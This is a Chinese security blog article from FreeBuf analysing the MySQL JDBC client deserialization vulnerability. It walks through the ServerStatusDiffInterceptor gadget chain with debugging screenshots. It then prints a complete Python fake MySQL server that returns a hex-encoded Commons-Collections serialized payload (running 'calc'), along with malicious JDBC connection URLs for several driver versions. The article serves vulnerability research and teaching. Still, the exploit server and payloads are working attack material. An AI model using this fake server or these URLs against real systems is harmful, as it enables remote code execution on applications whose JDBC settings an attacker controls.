freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MySQL-JDBC反序列化分析
蚁景科技 2023-02-01 15:19:50 223924
所属地 湖南省

0x01 前言

听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。

0x02 JDBC 的基础

本来不太想写这点基础的,但想了想觉得还是要补一点。

JDBC 对数据库的操作一般有以下步骤:

1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.*就足够了。

2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。

3、建立连接:需要使用 * DriverManager.getConnection ()*方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。

4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。

5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。

例如创建一个数据库

// 步骤 1. 导入所需的软件包
import java.sql.*;

public class JDBCExample {
// JDBC 驱动程序名称和数据库 URL
static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";  
static final String DB_URL = "jdbc:mysql://localhost/";

// 数据库凭证
static final String USER = "username";
static final String PASS = "password";

public static void main(String[] args) {
Connection conn = null;
Statement stmt = null;
try{
   // 步骤 2:注册 JDBC 驱动程序
   Class.forName("com.mysql.jdbc.Driver");

   // 步骤 3:建立连接
   System.out.println("Connecting to database...");
   conn = DriverManager.getConnection(DB_URL, USER, PASS);

   // 步骤 4:执行查询
   System.out.println("Creating database...");
   stmt = conn.createStatement();
   
   String sql = "CREATE DATABASE STUDENTS";
   stmt.executeUpdate(sql);
   System.out.println("Database created successfully...");
}catch(SQLException se){
   // 处理 JDBC 错误
   se.printStackTrace();
}catch(Exception e){
   // 处理 Class.forName 的错误
   e.printStackTrace();
}finally{
   // 用于关闭资源
   try{
      if(stmt!=null)
         stmt.close();
  }catch(SQLException se2){
   
  }
   try{
      if(conn!=null)
         conn.close();
  }catch(SQLException se){
      se.printStackTrace();
  }
}// 结束 try
System.out.println("Goodbye!");
}// 结束 main
}// 结束 JDBCExample

这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用

202302011351629.png

正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

0x03 漏洞分析

漏洞原理

如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject()的反序列化攻击从而 RCE。

具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。

可被利用的两条查询语句:

SHOW SESSION STATUS

SHOW COLLATION

链子

pom.xml

<dependency>  
<groupId>commons-collections</groupId>  
<artifactId>commons-collections</artifactId>  
<version>3.2.1</version>  
</dependency>  
<dependency>  
<groupId>mysql</groupId>  
<artifactId>mysql-connector-java</artifactId>  
<version>8.0.13</version>  
</dependency>

CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject()方法调用了 readObject()方法

202302011351630.png

JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl这个类中。

所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject()

202302011351631.png

根据网上的链子是 ResultSetUtil类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析)

ResultSetUtil这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。

202302011351632.png

最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法调用了 ResultSetUtil#resultSetToMap

44ServerStatusDiffInterceptor是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors为 ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。

202302011351634.png

看一下 populateMapWithSessionStatusValues方法的代码

202302011351635.png

先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。

漏洞复现

之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。

环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下

我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下

import java.sql.*;  

public class Test {  
 public static void main(String[] args) throws Exception {  
     Class.forName("com.mysql.jdbc.Driver");  
     String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
             "&autoDeserialize=true" +  
             "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";  
     Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");  
}  
}

通过 tcp.port == 3306 && mysql来过滤协议

202302011351636.png

我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting数据包 Response OKResponse Response OK以及 JDBC 执行查询语句 SHOW SESSION STATUS的返回包等,我们逐个来分析。

首先是 greeting数据包

202302011351637.png

这里发送 greeting数据包之后需要发送 Login请求,Login请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包

202302011351638.png

Login 的请求包在发送完 greeting包之后会自动发送,所以我们只需要发送一段 greeting数据包,返回一段 Response OK 数据包即可,Response OK 包如下

202302011351639.png

继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS

202302011351640.png

响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来

202302011351641.png

如此,构造出最后的 fake MySQL 服务端

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
 data = conn.recv(1024)
 print("[*] Receiveing the package : {}".format(data))
 return str(data).lower()

def send_data(conn,data):
 print("[*] Sending the package : {}".format(data))
 conn.send(binascii.a2b_hex(data))

def get_payload_content():
 #file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
 file= r'a'
 if os.path.isfile(file):
     with open(file, 'rb') as f:
         payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
     print("open successs")

 else:
     print("open false")
     #calc
     payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
 return payload_content

# 主要逻辑
def run():

 while 1:
     conn, addr = sk.accept()
     print("Connection come from {}:{}".format(addr[0],addr[1]))

     # 1.先发送第一个 问候报文
     send_data(conn,greeting_data)

     while True:
         # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
         receive_data(conn)
         send_data(conn,response_ok_data)

         #其他过程
         data=receive_data(conn)
         #查询一些配置信息,其中会发送自己的 版本号
         if "session.auto_increment_increment" in data:
             _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
             send_data(conn,_payload)
             data=receive_data(conn)
         elif "show warnings" in data:
             _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
             send_data(conn, _payload)
             data = receive_data(conn)
         if "set names" in data:
             send_data(conn, response_ok_data)
             data = receive_data(conn)
         if "set character_set_results" in data:
             send_data(conn, response_ok_data)
             data = receive_data(conn)
         if "show session status" in data:
             mysql_data = '0100000102'
             mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
             mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
             # 为什么我加了EOF Packet 就无法正常运行呢??
             #获取payload
             payload_content=get_payload_content()
             #计算payload长度
             payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
             payload_length_hex = payload_length[2:4] + payload_length[0:2]
             #计算数据包长度
             data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
             data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
             mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
             mysql_data += str(payload_content)
             mysql_data += '07000005fe000022000100'
             send_data(conn, mysql_data)
             data = receive_data(conn)
         if "show warnings" in data:
             payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
             send_data(conn, payload)
         break


if __name__ == '__main__':
 HOST ='0.0.0.0'
 PORT = 3309

 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 sk.bind((HOST, PORT))
 sk.listen(1)

 print("start fake mysql server listening on {}:{}".format(HOST,PORT))

 run()

在本地运行,并运行 JDBC 的连接代码

202302011351642.png

再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰

202302011351643.png

调试分析

在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues下个断点,开始调试分析

202302011351644.png

往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap()

202302011351645.png

ResultSetUtil.resultSetToMap()调用了 getObject()方法,第一处调用 getObject()方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。

202302011351646.png

在调用 getObject()方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据

202302011351647.png

从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize是否为 true、字节码数据是否为序列化对象等,最后调用 readObject()触发反序列化漏洞

202302011351648.png

不同 MySQL-JDBC-Driver 的 payload

8.x

如上述 Demo:

"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
     "&autoDeserialize=true" +  
 "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

6.x

属性名不同,queryInterceptors 换为 statementInterceptors

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上,但需要连接后执行查询。

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

0x04 小结

总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。

更多网安技能的在线实操练习,请点击这里>>

# mysql # 漏洞分析 # 漏洞复现 # JDBC
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞管理
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录